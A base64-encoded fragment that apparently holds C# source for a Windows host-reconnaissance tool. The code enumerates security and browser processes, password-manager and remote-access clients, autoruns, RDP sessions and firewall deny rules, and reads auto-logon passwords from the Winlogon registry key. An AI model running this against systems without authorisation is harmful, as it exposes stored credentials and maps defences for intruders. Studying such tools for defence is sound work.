YgcmVtb3RlIGNvbnRyb2wifSwKICAgICAgICAgICAgICAgIHsia2VlcGFzcyIgICAgICAgICAgICAgICAgICwgIktlZVBhc3MgcGFzc3dvcmQgdmF1bHQifSwKICAgICAgICAgICAgICAgIHsibXN0c2MiICAgICAgICAgICAgICAgICAgICwgIk1pY3Jvc29mdCBSRFAgY2xpZW50In0sCiAgICAgICAgICAgICAgICB7InZuYyIgICAgICAgICAgICAgICAgICAgICAsICJQb3NzaWJsZSBWTkMgY2xpZW50In0sCiAgICAgICAgICAgICAgICB7InBvd2Vyc2hlbGwiICAgICAgICAgICAgICAsICJQb3dlclNoZWxsIGhvc3QgcHJvY2VzcyJ9LAogICAgICAgICAgICAgICAgeyJjbWQiICAgICAgICAgICAgICAgICAgICAgLCAiQ29tbWFuZCBQcm9tcHQifSwKICAgICAgICAgICAgfTsKCiAgICAgICAgICAgIEhhc2h0YWJsZSBicm93c2VyUHJvY2Vzc2VzID0gbmV3IEhhc2h0YWJsZSgpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIHsiY2hyb21lIiAgICAgICAgICAgICAgICAgICwgIkdvb2dsZSBDaHJvbWUifSwKICAgICAgICAgICAgICAgIHsiaWV4cGxvcmUiICAgICAgICAgICAgICAgICwgIk1pY3Jvc29mdCBJbnRlcm5ldCBFeHBsb3JlciJ9LAogICAgICAgICAgICAgICAgeyJNaWNyb3NvZnRFZGdlIiAgICAgICAgICAgLCAiTWljcm9zb2Z0IEVkZ2UifSwKICAgICAgICAgICAgICAgIHsiZmlyZWZveCIgICAgICAgICAgICAgICAgICwgIk1vemlsbGEgRmlyZWZveCJ9CiAgICAgICAgICAgIH07CgogICAgICAgICAgICB0cnkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgc3RyaW5nIHdtaVF1ZXJ5ID0gc3RyaW5nLkZvcm1hdCgiU0VMRUNUICogRlJPTSBXaW4zMl9Qcm9jZXNzIik7CiAgICAgICAgICAgICAgICBNYW5hZ2VtZW50T2JqZWN0U2VhcmNoZXIgc2VhcmNoZXIgPSBuZXcgTWFuYWdlbWVudE9iamVjdFNlYXJjaGVyKHdtaVF1ZXJ5KTsKICAgICAgICAgICAgICAgIE1hbmFnZW1lbnRPYmplY3RDb2xsZWN0aW9uIHJldE9iamVjdENvbGxlY3Rpb24gPSBzZWFyY2hlci5HZXQoKTsKCiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcblxyXG49PT0gUHJvY2VzcyBFbnVtZXJhdGlvbnMgPT09XHJcbiIpOwoKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICogUG90ZW50aWFsIERlZmVuc2l2ZSBQcm9jZXNzZXMgKlxyXG4iKTsKCiAgICAgICAgICAgICAgICBmb3JlYWNoIChNYW5hZ2VtZW50T2JqZWN0IFByb2Nlc3MgaW4gcmV0T2JqZWN0Q29sbGVjdGlvbikKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoIChEaWN0aW9uYXJ5RW50cnkgZGVmZW5zaXZlUHJvY2VzcyBpbiBkZWZlbnNpdmVQcm9jZXNzZXMpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoUHJvY2Vzc1siTmFtZSJdLlRvU3RyaW5nKCkuVG9Mb3dlcigpID09IGRlZmVuc2l2ZVByb2Nlc3MuS2V5LlRvU3RyaW5nKCkuVG9Mb3dlcigpKQogICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmdbXSBPd25lckluZm8gPSBuZXcgc3RyaW5nWzJdOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgUHJvY2Vzcy5JbnZva2VNZXRob2QoIkdldE93bmVyIiwgKG9iamVjdFtdKU93bmVySW5mbyk7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlx0TmFtZSAgICAgICAgIDogezB9IiwgUHJvY2Vzc1siTmFtZSJdKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcdFByb2R1Y3QgICAgICA6IHswfSIsIGRlZmVuc2l2ZVByb2Nlc3MuVmFsdWUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlx0UHJvY2Vzc0lEICAgIDogezB9IiwgUHJvY2Vzc1siUHJvY2Vzc0lEIl0pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKE93bmVySW5mb1swXSAhPSBudWxsKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcdE93bmVyICAgICAgICA6IHswfVxcezF9IiwgT3duZXJJbmZvWzFdLCBPd25lckluZm9bMF0pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcdE93bmVyICAgICAgICA6ICIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlx0Q29tbWFuZExpbmUgIDogezB9XHJcbiIsIFByb2Nlc3NbIkNvbW1hbmRMaW5lIl0pOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcclxuICAqIEJyb3dzZXIgUHJvY2Vzc2VzICpcclxuIik7CgogICAgICAgICAgICAgICAgZm9yZWFjaCAoTWFuYWdlbWVudE9iamVjdCBQcm9jZXNzIGluIHJldE9iamVjdENvbGxlY3Rpb24pCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoRGljdGlvbmFyeUVudHJ5IGJyb3dzZXJQcm9jZXNzIGluIGJyb3dzZXJQcm9jZXNzZXMpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoUmVnZXguSXNNYXRjaChQcm9jZXNzWyJOYW1lIl0uVG9TdHJpbmcoKSwgYnJvd3NlclByb2Nlc3MuS2V5LlRvU3RyaW5nKCksIFJlZ2V4T3B0aW9ucy5JZ25vcmVDYXNlKSkKICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nW10gT3duZXJJbmZvID0gbmV3IHN0cmluZ1syXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFByb2Nlc3MuSW52b2tlTWV0aG9kKCJHZXRPd25lciIsIChvYmplY3RbXSlPd25lckluZm8pOwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcdE5hbWUgICAgICAgICA6IHswfSIsIFByb2Nlc3NbIk5hbWUiXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHRQcm9kdWN0ICAgICAgOiB7MH0iLCBicm93c2VyUHJvY2Vzcy5WYWx1ZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHRQcm9jZXNzSUQgICAgOiB7MH0iLCBQcm9jZXNzWyJQcm9jZXNzSUQiXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoT3duZXJJbmZvWzBdICE9IG51bGwpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlx0T3duZXIgICAgICAgIDogezB9XFx7MX0iLCBPd25lckluZm9bMV0sIE93bmVySW5mb1swXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlx0T3duZXIgICAgICAgIDogIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHRDb21tYW5kTGluZSAgOiB7MH1cclxuIiwgUHJvY2Vzc1siQ29tbWFuZExpbmUiXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG4gICogT3RoZXIgSW50ZXJlc3RpbmcgUHJvY2Vzc2VzICpcclxuIik7CgogICAgICAgICAgICAgICAgZm9yZWFjaCAoTWFuYWdlbWVudE9iamVjdCBQcm9jZXNzIGluIHJldE9iamVjdENvbGxlY3Rpb24pCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoRGljdGlvbmFyeUVudHJ5IGludGVyZXN0aW5nUHJvY2VzcyBpbiBpbnRlcmVzdGluZ1Byb2Nlc3NlcykKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChSZWdleC5Jc01hdGNoKFByb2Nlc3NbIk5hbWUiXS5Ub1N0cmluZygpLCBpbnRlcmVzdGluZ1Byb2Nlc3MuS2V5LlRvU3RyaW5nKCksIFJlZ2V4T3B0aW9ucy5JZ25vcmVDYXNlKSkKICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nW10gT3duZXJJbmZvID0gbmV3IHN0cmluZ1syXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFByb2Nlc3MuSW52b2tlTWV0aG9kKCJHZXRPd25lciIsIChvYmplY3RbXSlPd25lckluZm8pOwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcdE5hbWUgICAgICAgICA6IHswfSIsIFByb2Nlc3NbIk5hbWUiXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHRQcm9kdWN0ICAgICAgOiB7MH0iLCBpbnRlcmVzdGluZ1Byb2Nlc3MuVmFsdWUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlx0UHJvY2Vzc0lEICAgIDogezB9IiwgUHJvY2Vzc1siUHJvY2Vzc0lEIl0pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKE93bmVySW5mb1swXSAhPSBudWxsKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcdE93bmVyICAgICAgICA6IHswfVxcezF9IiwgT3duZXJJbmZvWzFdLCBPd25lckluZm9bMF0pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcdE93bmVyICAgICAgICA6ICIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlx0Q29tbWFuZExpbmUgIDogezB9XHJcbiIsIFByb2Nlc3NbIkNvbW1hbmRMaW5lIl0pOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24gZXgpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFtYXSBFeGNlcHRpb246IHswfSIsIGV4Lk1lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIHZvaWQgTGlzdFJlZ2lzdHJ5QXV0b0xvZ29uKCkKICAgICAgICB7CiAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcclxuXHJcbj09PSBSZWdpc3RyeSBBdXRvLWxvZ29uIFNldHRpbmdzID09PVxyXG4iKTsKCiAgICAgICAgICAgIHN0cmluZyBEZWZhdWx0RG9tYWluTmFtZSA9IEdldFJlZ1ZhbHVlKCJIS0xNIiwgIlNPRlRXQVJFXFxNaWNyb3NvZnRcXFdpbmRvd3MgTlRcXEN1cnJlbnRWZXJzaW9uXFxXaW5sb2dvbiIsICJEZWZhdWx0RG9tYWluTmFtZSIpOwogICAgICAgICAgICBpZiAoRGVmYXVsdERvbWFpbk5hbWUgIT0gIiIpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIHswLC0yM30gOiB7MX0iLCAiRGVmYXVsdERvbWFpbk5hbWUiLCBEZWZhdWx0RG9tYWluTmFtZSk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHN0cmluZyBEZWZhdWx0VXNlck5hbWUgPSBHZXRSZWdWYWx1ZSgiSEtMTSIsICJTT0ZUV0FSRVxcTWljcm9zb2Z0XFxXaW5kb3dzIE5UXFxDdXJyZW50VmVyc2lvblxcV2lubG9nb24iLCAiRGVmYXVsdFVzZXJOYW1lIik7CiAgICAgICAgICAgIGlmIChEZWZhdWx0VXNlck5hbW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VudFZlcnNpb25cXFdpbmxvZ29uIiwgIkFsdERlZmF1bHRVc2VyTmFtZSIpOwogICAgICAgICAgICBpZiAoQWx0RGVmYXVsdERvbWFpbk5hbWUgIT0gIiIpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIHswLC0yM30gOiB7MX0iLCAiQWx0RGVmYXVsdFVzZXJOYW1lIiwgQWx0RGVmYXVsdFVzZXJOYW1lKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgc3RyaW5nIEFsdERlZmF1bHRQYXNzd29yZCA9IEdldFJlZ1ZhbHVlKCJIS0xNIiwgIlNPRlRXQVJFXFxNaWNyb3NvZnRcXFdpbmRvd3MgTlRcXEN1cnJlbnRWZXJzaW9uXFxXaW5sb2dvbiIsICJBbHREZWZhdWx0UGFzc3dvcmQiKTsKICAgICAgICAgICAgaWYgKEFsdERlZmF1bHREb21haW5OYW1lICE9ICIiKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICB7MCwtMjN9IDogezF9IiwgIkFsdERlZmF1bHRQYXNzd29yZCIsIEFsdERlZmF1bHRQYXNzd29yZCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgdm9pZCBMaXN0UmVnaXN0cnlBdXRvUnVucygpCiAgICAgICAgewogICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcblxyXG49PT0gUmVnaXN0cnkgQXV0b3J1bnMgPT09Iik7CgogICAgICAgICAgICBzdHJpbmdbXSBhdXRvcnVuTG9jYXRpb25zID0gbmV3IHN0cmluZ1tdIHsKICAgICAgICAgICAgICAgICJTT0ZUV0FSRVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcUnVuIiwKICAgICAgICAgICAgICAgICJTT0ZUV0FSRVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmV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tMTTpcXHswfSA6IiwgYXV0b3J1bkxvY2F0aW9uKTsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoIChLZXlWYWx1ZVBhaXI8c3RyaW5nLCBvYmplY3Q+IGt2cCBpbiBzZXR0aW5ncykKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgezB9Iiwga3ZwLlZhbHVlKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgdm9pZCBMaXN0UkRQU2Vzc2lvbnMoKQogICAgICAgIHsKICAgICAgICAgICAgLy8gYWRhcHRlZCBmcm9tIGh0dHA6Ly93d3cucGludm9rZS5uZXQvZGVmYXVsdC5hc3B4L3d0c2FwaTMyLnd0c2VudW1lcmF0ZXNlc3Npb25zCiAgICAgICAgICAgIEludFB0ciBzZXJ2ZXIgPSBJbnRQdHIuWmVybzsKICAgICAgICAgICAgTGlzdDxTdHJpbmc+IHJldCA9IG5ldyBMaXN0PHN0cmluZz4oKTsKICAgICAgICAgICAgc2VydmVyID0gT3BlblNlcnZlcigibG9jYWxob3N0Iik7CgogICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcblxyXG49PT0gQ3VycmVudCBIb3N0IFJEUCBTZXNzaW9ucyAocXdpbnN0YSkgPT09XHJcbiIpOwoKICAgICAgICAgICAgdHJ5CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIEludFB0ciBwcFNlc3Npb25JbmZvID0gSW50UHRyLlplcm87CgogICAgICAgICAgICAgICAgSW50MzIgY291bnQgPSAwOwogICAgICAgICAgICAgICAgSW50MzIgbGV2ZWwgPSAxOwogICAgICAgICAgICAgICAgSW50MzIgcmV0dmFsID0gV1RTRW51bWVyYXRlU2Vzc2lvbnNFeChzZXJ2ZXIsIHJlZiBsZXZlbCwgMCwgcmVmIHBwU2Vzc2lvbkluZm8sIHJlZiBjb3VudCk7CiAgICAgICAgICAgICAgICBJbnQzMiBkYXRhU2l6ZSA9IE1hcnNoYWwuU2l6ZU9mKHR5cGVvZihXVFNfU0VTU0lPTl9JTkZPXzEpKTsKICAgICAgICAgICAgICAgIEludDY0IGN1cnJlbnQgPSAoSW50NjQpcHBTZXNzaW9uSW5mbzsKCiAgICAgICAgICAgICAgICBpZiAocmV0dmFsICE9IDApCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgZm9yIChpbnQgaSA9IDA7IGkgPCBjb3VudDsgaSsrKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgV1RTX1NFU1NJT05fSU5GT18xIHNpID0gKFdUU19TRVNTSU9OX0lORk9fMSlNYXJzaGFsLlB0clRvU3RydWN0dXJlKChTeXN0ZW0uSW50UHRyKWN1cnJlbnQsIHR5cGVvZihXVFNfU0VTU0lPTl9JTkZPXzEpKTsKICAgICAgICAgICAgICAgICAgICAgICAgY3VycmVudCArPSBkYXRhU2l6ZTsKCiAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFNlc3Npb25JRDogICAgICAgezB9Iiwgc2kuU2Vzc2lvbklEKTsKICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgU2Vzc2lvbk5hbWU6ICAgICB7MH0iLCBzaS5wU2Vzc2lvbk5hbWUpOwogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBVc2VyTmFtZTogICAgICAgIHswfSIsIHNpLnBVc2VyTmFtZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIERvbWFpbk5hbWU6ICAgICAgezB9Iiwgc2kucERvbWFpbk5hbWUpOwogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBTdGF0ZTogICAgICAgICAgIHswfSIsIHNpLlN0YXRlKTsKCiAgICAgICAgICAgICAgICAgICAgICAgIC8vIE5vdyB1c2UgV1RTUXVlcnlTZXNzaW9uSW5mb3JtYXRpb24gdG8gZ2V0IHRoZSByZW1vdGUgSVAgKGlmIGFueSkgZm9yIHRoZSBjb25uZWN0aW9uCiAgICAgICAgICAgICAgICAgICAgICAgIEludFB0ciBhZGRyZXNzUHRyID0gSW50UHRyLlplcm87CiAgICAgICAgICAgICAgICAgICAgICAgIHVpbnQgYnl0ZXMgPSAwOwoKICAgICAgICAgICAgICAgICAgICAgICAgV1RTUXVlcnlTZXNzaW9uSW5mb3JtYXRpb24oc2VydmVyLCAodWludClzaS5TZXNzaW9uSUQsIFdUU19JTkZPX0NMQVNTLldUU0NsaWVudEFkZHJlc3MsIG91dCBhZGRyZXNzUHRyLCBvdXQgYnl0ZXMpOwogICAgICAgICAgICAgICAgICAgICAgICBXVFNfQ0xJRU5UX0FERFJFU1MgYWRkcmVzcyA9IChXVFNfQ0xJRU5UX0FERFJFU1MpTWFyc2hhbC5QdHJUb1N0cnVjdHVyZSgoU3lzdGVtLkludFB0cilhZGRyZXNzUHRyLCB0eXBlb2YoV1RTX0NMSUVOVF9BRERSRVNTKSk7CgogICAgICAgICAgICAgICAgICAgICAgICBpZiAoYWRkcmVzcy5BZGRyZXNzWzJdICE9IDApCiAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyBzb3VyY2VJUCA9IFN0cmluZy5Gb3JtYXQoInswfS57MX0uezJ9LnszfSIsIGFkZHJlc3MuQWRkcmVzc1syXSwgYWRkcmVzcy5BZGRyZXNzWzNdLCBhZGRyZXNzLkFkZHJlc3NbNF0sIGFkZHJlc3MuQWRkcmVzc1s1XSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBTb3VyY2VJUDogICAgICAgIHswfVxyXG4iLCBzb3VyY2VJUCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBTb3VyY2VJUDogXHJcbiIpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICBXVFNGcmVlTWVtb3J5KHBwU2Vzc2lvbkluZm8pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24gZXgpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKGV4KTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmaW5hbGx5CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIENsb3NlU2VydmVyKHNlcnZlcik7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgdm9pZCBMaXN0RmlyZXdhbGxSdWxlcygpCiAgICAgICAgewogICAgICAgICAgICAvLyBsaXN0cyBsb2NhbCBmaXJld2FsbCBwb2xpY2llcyBhbmQgcnVsZXMKICAgICAgICAgICAgLy8gICAgICBieSBkZWZhdWx0LCBvbmx5ICJkZW55IiByZXN1bHQgYXJlIG91dHB1dCB1bmxlc3MgImZ1bGwiIGlzIHBhc3NlZAoKICAgICAgICAgICAgaWYgKEZpbHRlclJlc3VsdHMuZmlsdGVyKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcblxyXG49PT0gRmlyZXdhbGwgUnVsZXMgKERlbnkpID09PVxyXG4iKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcclxuXHJcbj09PSBG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gU3lzdGVtLkNvbGxlY3Rpb25zLklFbnVtZXJhdG9yIGVudW1lcmF0b3IgPSAoU3lzdGVtLkNvbGxlY3Rpb25zLklFbnVtZXJhdG9yKXJ1bGVzLkdldFR5cGUoKS5JbnZva2VNZW1iZXIoIkdldEVudW1lcmF0b3IiLCBCaW5kaW5nRmxhZ3MuSW52b2tlTWV0aG9kLCBudWxsLCBydWxlcywgbnVsbCk7CgogICAgICAgICAgICAgICAgLy8gbW92ZSB0byB0aGUgZmlyc3QgaXRlbQogICAgICAgICAgICAgICAgZW51bWVyYXRvci5Nb3ZlTmV4dCgpOwogICAgICAgICAgICAgICAgT2JqZWN0IGN1cnJlbnRJdGVtID0gZW51bWVyYXRvci5DdXJyZW50OwoKICAgICAgICAgICAgICAgIHdoaWxlIChjdXJyZW50SXRlbSAhPSBudWxsKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIC8vIG9ubHkgZGlzcGxheSBlbmFibGVkIHJ1bGVzCiAgICAgICAgICAgICAgICAgICAgT2JqZWN0IEVuYWJsZWQgPSBjdXJyZW50SXRlbS5HZXRUeXBlKCkuSW52b2tlTWVtYmVyKCJFbmFibGVkIiwgQmluZGluZ0ZsYWdzLkdldFByb3BlcnR5LCBudWxsLCBjdXJyZW50SXRlbSwgbnVsbCk7CiAgICAgICAgICAgICAgICAgICAgaWYgKEVuYWJsZWQuVG9TdHJpbmcoKSA9PSAiVHJ1ZSIpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBPYmplY3QgQWN0aW9uID0gY3VycmVudEl0ZW0uR2V0VHlwZSgpLkludm9rZU1lbWJlcigiQWN0aW9uIiwgQmluZGluZ0ZsYWdzLkdldFByb3BlcnR5LCBudWxsLCBjdXJyZW50SXRlbSwgbnVsbCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgoRmlsdGVyUmVzdWx0cy5maWx0ZXIgJiYgKEFjdGlvbi5Ub1N0cmluZygpID09ICIwIikpI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gICAgICAgICAgIGlmIChBY3Rpb24uVG9TdHJpbmcoKSAhPSAiMSIpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnVsZUFjdGlvbiA9ICJERU5ZIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmcgcnVsZURpcmVjdGlvbiA9ICJJTiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoRGlyZWN0aW9uLlRvU3RyaW5nKCkgIT0gIjEiKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJ1bGVEaXJlY3Rpb24gPSAiT1VUIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmcgcnVsZVByb3RvY29sID0gIlRDUCI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoUHJvdG9jb2wuVG9TdHJpbmcoKSAhPSAiNiIpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnVsZVByb3RvY29sID0gIlVEUCI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBUT0RPOiBvdGhlciBwcm90b2NvbHMhCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgTmFtZSAgICAgICAgICAgICAgICAgOiB7MH0iLCBOYW1lKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIERlc2NyaXB0aW9uICAgICAgICAgIDogezB9IiwgRGVzY3JpcHRpb24pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgQXBwbGljYXRpb25OYW1lICAgICAgOiB7MH0iLCBBcHBsaWNhdGlvbk5hbWUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgUHJvdG9jb2wgICAgICAgICAgICAgOiB7MH0iLCBydWxlUHJvdG9jb2wpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgQWN0aW9uICAgICAgICAgICAgICAgOiB7MH0iLCBydWxlQWN0aW9uKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIERpcmVjdGlvbiAgICAgICAgICAgIDogezB9IiwgcnVsZURpcmVjdGlvbik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBQcm9maWxlcyAgICAgICAgICAgICA6IHswfSIsIChGaXJld2FsbFByb2ZpbGVzKUludDMyLlBhcnNlKFByb2ZpbGVzLlRvU3RyaW5nKCkpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIExvY2FsIEFkZHI6UG9ydCAgICAgIDogezB9OnsxfSIsIExvY2FsQWRkcmVzc2VzLCBMb2NhbFBvcnRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFJlbW90ZSBBZGRyOlBvcnQgICAgIDogezB9OnsxfVxyXG4iLCBSZW